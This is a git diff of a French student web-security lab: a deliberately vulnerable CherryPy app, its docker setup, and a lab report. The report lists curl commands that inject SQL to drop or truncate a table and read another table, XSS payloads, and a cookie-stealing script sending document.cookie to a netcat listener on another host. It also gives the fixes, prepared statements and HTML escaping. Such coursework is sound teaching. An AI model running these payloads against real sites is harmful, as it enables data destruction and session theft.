diff --git a/Makefile b/Makefile
index d229e8c67dcbc8761f4ca3f10caa1885156aa778..582471daba52a0acd62eeb3ed8da14bc53d75594 100644
--- a/Makefile
+++ b/Makefile
@@ -3,7 +3,7 @@ db:
 	
 up: db
 	sleep 10
-	docker-compose -f ./deployments/docker-compose.yml up -d web web2
+	docker-compose -f ./deployments/docker-compose.yml up -d web_vul web_sql_correct web_xss
 	
 down:
 	docker-compose -f ./deployments/docker-compose.yml down
diff --git a/deployments/docker-compose.yml b/deployments/docker-compose.yml
index e3f8e4886d1afb160724a68e6984a381c5ff4701..63ae0b1dea2223aa8d74fc0f7f42d605bde100c2 100644
--- a/deployments/docker-compose.yml
+++ b/deployments/docker-compose.yml
@@ -25,7 +25,7 @@ services:
       isi:
           ipv4_address: "10.1.0.2"
 
-   web:
+   web_vul:
      image: isi2_web:0.1.0
      restart: always
      build:
@@ -40,7 +40,7 @@ services:
       isi:
           ipv4_address: "10.1.0.3"
           
-   web2:
+   web_sql_correct:
      image: isi2_web_correct:0.1.0
      restart: always
      build:
@@ -55,7 +55,7 @@ services:
       isi:
           ipv4_address: "10.1.0.5"
           
-   web3:
+   web_xss:
      image: isi2_web_xss:0.1.0
      restart: always
      build:
@@ -68,7 +68,7 @@ services:
       - db     
      networks:
       isi:
-          ipv4_address: "10.1.0.5"
+          ipv4_address: "10.1.0.6"
           
    adminer:
      image: adminer
diff --git a/rendu.md b/rendu.md
index f7783688ad0548c473891a8a847ac49551c681f9..5c58a56422b9a6d28e35555f3496270f241847e4 100644
--- a/rendu.md
+++ b/rendu.md
@@ -16,50 +16,70 @@
 
 * Commande curl qui bypass la vérification
 
+```
 - curl -X POST -d "chaine=Mohamed" http://172.28.101.47:8080/
 
 - curl -X POST -d "chaine=Mohamed@Selim" http://172.28.101.47:8080/
-
+```
 
 ## Question 3
 
 * Votre commande curl pour effacer la table (V1)
 
+```
+- curl -X POST -d "chaine=%22%29%3B+DROP+TABLE+chaines%3B--" http://172.28.101.47:8080/
 - curl -X POST -d "chaine=%22%29%3B+TRUNCATE+TABLE+chaines%3B--" http://172.28.101.47:8080/
 - curl -X POST -d 'chaine=");+TRUNCATE+TABLE+chaines%3B--' http://172.28.101.47:8080/
+- curl -X POST -d 'chaine=");+DROP+TABLE+chaines%3B--' http://172.28.101.47:8080/
+```
 
 * commande pour bypass le champ who 
-
+```
 - curl -X POST -d "chaine=hacked','000000')#" http://172.28.101.47:8080/ 
-
+```
 * Expliquez comment obtenir des informations sur une autre table
 
-- Les informations sur les tables d'une DB sont stockées dans la table information_schema. 
+- Il suffit d'échapper la commande SQL et de rajouter un SELECT * FROM othertable.
+- De plus on sait que MySQL crée une table information_schema qui garde toutes les infos sur une Table.
+
+```
 - curl -X POST -d "chaine=hacked','000000')+AND+SELECT+*+FROM+chaines2#" http://172.28.101.47:8080/
+```
 
 ## Question 4
 
 Rendre un fichier server_correct.py avec la correction de la faille de sécurité. Expliquez comment vous avez corrigé la faille.  
 
 - Il faut utiliser des rêquetes préparées. 
-- Grâce à la fonction cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
 
+```
+requete = """INSERT INTO chaines (txt,who) VALUES (%s,%s)"""
+cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
+```
 ## Question 5
 
 * Commande curl pour afficher une fenetre de dialog.
 
+```
 - curl -X POST -d "chaine=<script>alert('bonjour')</script>" http://172.28.101.47:8080/
+```
 
 * Commande curl pour lire les cookies
 
+```
 - curl -X POST -d "chaine=<script>alert(document.cookie)</script>" http://172.28.101.47:8080/
-- curl -X POST -d "chaine=<script>document.cookie="TOKEN=SECRET"</script>" http://172.28.101.47:8080/
-- curl -X POST -d "chaine=<script>document.write('<img src=http://172.28.101.111:6666?c='+ escape(document.cookie) + '>');</script>" http://172.28.101.47:8080
+```
+
+* Commande curl pour voler les cookies
 
+```
+- nc -l -p 6666 (sur la machine 172.28.101.111)
+- curl -X POST -d "chaine=<script>location.replace(\"http://172.28.101.111:6666?c=\"+document.cookie)</script>" http://172.28.101.47:8080
+```
 
 ## Question 6
 
 Rendre un fichier server_xss.py avec la correction de la faille. Expliquez la demarche que vous avez suivi.
 
-- Il faut utiliser échapper les caractères spéciaux grâce à html.escape()
+- Il faut échapper les caractères spéciaux grâce à html.escape()
 
diff --git a/server_xss.py b/server_xss.py
index 821fb0b2aeb84d1766a877a333926850df150d5a..3245407884b4942f25c706edde8e3fa226fb11f4 100755
--- a/server_xss.py
+++ b/server_xss.py
@@ -3,6 +3,7 @@
 import mysql.connector
 import cherrypy
 import config
+import html
 
 class VulnerableApp(object):
     def __init__(self):
@@ -20,7 +21,7 @@ class VulnerableApp(object):
         chaines = []
         cursor.execute("SELECT txt,who FROM chaines");
         for row in cursor.fetchall():
-            chaines.append(html.escape(row[0]) + " envoye par: " + row[1])
+            chaines.append(row[0] + " envoye par: " + row[1])
 
         cursor.close()
         return '''
@@ -36,7 +37,7 @@ Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans
 <p>
 Liste des chaines actuellement insérées:
 <ul>
-'''+"\n".join(["<li>" + s + "</li>" for s in chaines])+'''
+'''+"\n".join(["<li>" + html.escape(s) + "</li>" for s in chaines])+'''
 </ul>
 </p>